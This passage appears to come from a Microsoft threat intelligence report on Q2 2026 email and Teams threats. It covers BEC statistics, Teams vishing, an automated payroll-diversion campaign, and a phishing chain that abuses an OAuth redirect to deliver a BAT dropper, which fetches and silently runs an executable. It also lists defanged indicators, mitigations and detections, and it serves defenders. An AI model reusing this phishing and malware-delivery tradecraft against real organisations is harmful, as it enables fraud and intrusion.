DOC/DOCX and ZIP/GZIP files oscillated without a clear directional trend. DOC/DOCX increased 26% in May before falling 17% in June, while ZIP/GZIP attachments declined 48% in April, rebounded 27% in May, then dropped 40% in June.
ICS files (calendar invitations), while still a small share of overall payload volume (roughly 4%), nearly quadrupled in June (+277%). These attacks take advantage of the fact that calendar invitations are processed differently than standard email attachments and can inject malicious links into a user’s calendar without requiring an explicit open-and-click interaction.
EXE files continued to decline, falling to their lowest monthly volume in June, reflecting the broader shift away from traditional malware delivery via email attachments.
Figure 6. Malicious payload file type (Q2 2026)
Business email compromise
April 2026 produced the most anomalous BEC data point in more than a year: nearly 9 million attacks, a 121% increase from March and more than double any previous month. The spike was short-lived as volume fell 62% in May to 3.4 million and settled at 3.9 million in June, both figures consistent with the monthly baseline that had held throughout the prior year. The April surge appeared to be driven by a small number of high-volume campaigns rather than a fundamental escalation in BEC activity.
The composition of BEC attacks remained consistent throughout Q2. Generic outreach messages (like “Are you at your desk?”) accounted for 87–92% of initial contact emails each month, while explicit requests for specific financial transactions or documents represented just 3–8%. This pattern underscores that BEC operators overwhelmingly favor establishing conversational rapport with targets before making fraudulent requests, rather than leading with direct financial asks.
Figure 8. Initial BEC email content by type (Q2 2026)
Within the smaller subset of explicit financial requests, the most notable trend was the near-disappearance of fake invoice payment requests:
Invoice payment requests fell 67% in May and another 77% in June, reaching their lowest volume in more than a year. By June, invoice-themed BEC accounted for less than 0.4% of all attacks, down from around 3.6% in March.
Payroll update requests declined moderately across the quarter, from roughly 4% of attacks in March to 2.3% by June.
Gift card requests remained at roughly 1–4% of attacks, with no clear directional trend.
Microsoft Teams threats
While email remains the dominant initial access vector, threat actors increasingly abused Microsoft Teams during Q2 to deliver social engineering, phishing, and malware payloads. Unlike email, Teams traffic typically bypasses secure email gateways and benefits from the perceived legitimacy of a colleague-initiated chat, which can make lures particularly effective in this environment.
Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June. Financial and executive impersonation has remained largely absent from Teams-based attacks over the past several months.
Figure 9. Weekly observed malicious Microsoft Teams calls (January-June 2026)
The dominant lure theme remained technical support impersonation, with attackers posing as an employee’s information technology (IT) help desk, typically warning of an impending account lockout. However, the way attackers presented themselves continued to evolve:
Display names shifted away from IT- or help desk-branded identities. For the second consecutive month, more than half (52%) of Teams-based phishing attacks in June used generic display names rather than obvious IT support impersonation.
Attacker email addresses associated with these chats moved away from support-themed domains toward software-as-a-service (SaaS) terminology, scan/update language, and infrastructure keywords. This shift may align with the broader rise of ClickFix-style attacks adopting update-fix and similar themes.
Figure 10. Malicious Teams call impersonation percentage (Q2 2026)
Vishing through Teams showed the steepest growth of any threat category tracked in this report during Q2. Average weekly malicious call attempts rose 31% from April to May and another 27% into June, with the final two weeks of June recording the two highest weekly volumes on record. Since the beginning of 2026, weekly vishing attempts have increased roughly 80% and now run at nearly ten times the mid-2025 baseline. Attackers time these calls deliberately when targets are most likely to be online and active, with the heaviest activity falling between 14:00 and 20:00 UTC, Monday through Friday, with near-zero weekend activity. Notably, a growing share of these calls go unanswered, end quickly, or are rejected outright, partly reflecting Microsoft’s ongoing efforts to harden the Teams attack surface and improve protections against social engineering abuse.
Automated BEC campaign scales aging report and payroll diversion lures
On June 1, 2026, Microsoft Defender Research observed a high-volume BEC campaign that used automation to operate at scale. Over a send window of under three hours (14:08–16:52 UTC), the actor reached more than 67,000 users across more than 42,000 organizations, almost exclusively in the United States. Targeting spanned a broad range of industries rather than a single vertical, most notably retail and consumer goods (17%), technology and software (15%), and financial services (14%). The campaign ran two lures in succession from shared infrastructure: arequest impersonating sales executives to obtain aging report data and customer contact details, and a payroll diversion pretext impersonating the CEO or President to redirect salary payments to attacker-controlled bank accounts.
Figure 11. Timeline of campaign messages sent by minute, separated by lure theme
Delivery was fully scripted. The messages were generated programmatically using Python’s email.mime library, identifiable from its default MIME boundary format (===============[integer]==), and dispatched through the Amazon Simple Email Service (SES) API rather than a manual webmail interface, as indicated by the SES Feedback-ID and Message-ID formats. This allowed the actor to iterate through a recipient list and inject per-message variables (like spoofed executive display names, recipient addresses, and unique tracking identifiers) at volume. Messages were sent from a DomainKeys Identified Mail (DKIM)-configured Slovak domain (ecajovna[.]sk) through SES, so they passed Sender Policy Framework (SPF) and achieved DKIM alignment. Neither lure contained a malicious link or attachment; both relied on eliciting a reply to attacker-controlled mailboxes that mimicked legitimate providers (ilyff[.]com, j-gmails[.]com, x2mails[.]com).
Automation also extended to targeting and follow-up. The actor addressed generic role-based mailboxes (like “ar”, “accountsreceivable”, “hr”, “payroll”) rather than named individuals, reducing per-target effort. Each message embedded a 1×1 open-tracking pixel served from an Amazon SES engagement subdomain, with per-message identifiers that let the actor confirm which recipients opened the email and prioritize follow-up against those targets. The combination of scripted message generation, API-based bulk delivery, role-based targeting, and automated engagement tracking allowed a single actor to run a personalized, financially motivated BEC operation at a scale not practical to execute manually.
Figure 12. Rendered example of aging report email used in this campaignFigure 13. Rendered example of payroll diversion email used in this campaign
Staff update campaign with nested EML file and calendar invitation leads to BAT file dropper
Between June 14–15, 2026, Microsoft Defender Research observed a phishing campaign targeting more than 107,000 users across nearly 19,000 organizations, almost exclusively in the United States. The campaign targeted a broad range of industries rather than a single vertical, most notably financial services (17%), technology and software (14%), and retail and consumer goods (14%). Emails impersonated an internal “Internal Affairs – Financials & Staff Updates” function at the recipient’s own organization, with the display name and subject line both opening with the recipient’s organization name and closing with constant trailing text. The messages were sent from a Postfix host on 9i6pokerdepot[.]com routed through Barracuda’s outbound mail service, and DKIM passed cleanly for the sending domain.
Figure 14. Rendered sample of initial campaign email
The visible email body contained minimal content. One line told the reader to download the attached file for the meeting summary, followed by a confidentiality notice. Each message carried two attachments: a nested EML posing as a Teams archive recording, and an ICS calendar invite addressed to placeholder administrative accounts at the recipient’s domain. The nested EML’s file name retained an unfilled template token ( {{DATE2}} ), indicating a per-recipient templating tool.
When opened, the EML displayed a voicemail notification with a single action button. That button pointed to Microsoft’s OAuth sign-in endpoint at login.microsoftonline[.]com, with parameters that asked for a silent sign-in attempt against an Entra application that the attacker had registered as multi-tenant.
Figure 15. Rendered sample of voicemail notification from the nested EML
Because no active sign-in session could satisfy the silent request, Microsoft’s authentication service redirected the recipient to the destination the attacker had pre-registered on the application. That destination was a path on clickup-attachments[.]com, ClickUp’s public attachment host, and served a Windows batch file named Financial_report.bat. Because the link routed through Microsoft authentication infrastructure, both recipients and URL scanners saw a login.microsoftonline[.]com link.
The batch file ran a hidden PowerShell command that pulled installer.exe from pixeldrain[.]com, saved it under the user’s Temp directory, ran it with a silent flag, and deleted the dropper on exit. Rather than stealing credentials, the campaign ultimately resulted in silent malware execution on the user’s Windows device.
Figure 16. Source code of Financial_report.bat
Mitigation and protection guidance
Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.
Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. Refer to this article for the different authentication methods and features.
Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.
Microsoft Defender detections
Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.
Microsoft Defender for Endpoint
The following alert might indicate threat activity associated with this threat. The alert, however, can be triggered by unrelated threat activity.
Suspicious activity likely indicative of a connection to an adversary-in-the-middle (AiTM) phishing site
Microsoft Defender for Office 365
The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.
A potentially malicious URL click was detected
A user clicked through to a potentially malicious URL
Suspicious email sending patterns detected
Email messages containing malicious URL removed after delivery
Email messages removed after delivery
Email reported by user as malware or phish
Microsoft Security Copilot
Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.
Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.
Threat intelligence reports
Microsoft Defender XDR customers can use the following Threat Analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.
Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.
Indicators of compromise (IOCs)
Indicator
Type
Description
First seen
Last seen
9i6pokerdepot[.]com
Domain
Sending domain; DKIM-signed by the operator
2026-06-15
2026-06-15
Customer.Service[@]9i6pokerdepot[.]com
Email address
Campaign sender address
2026-06-15
2026-06-15
t90141296286.p.clickup-attachments[.]com
Domain
ClickUp attachment subdomain hosting the stage 2 BAT dropper
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
Login
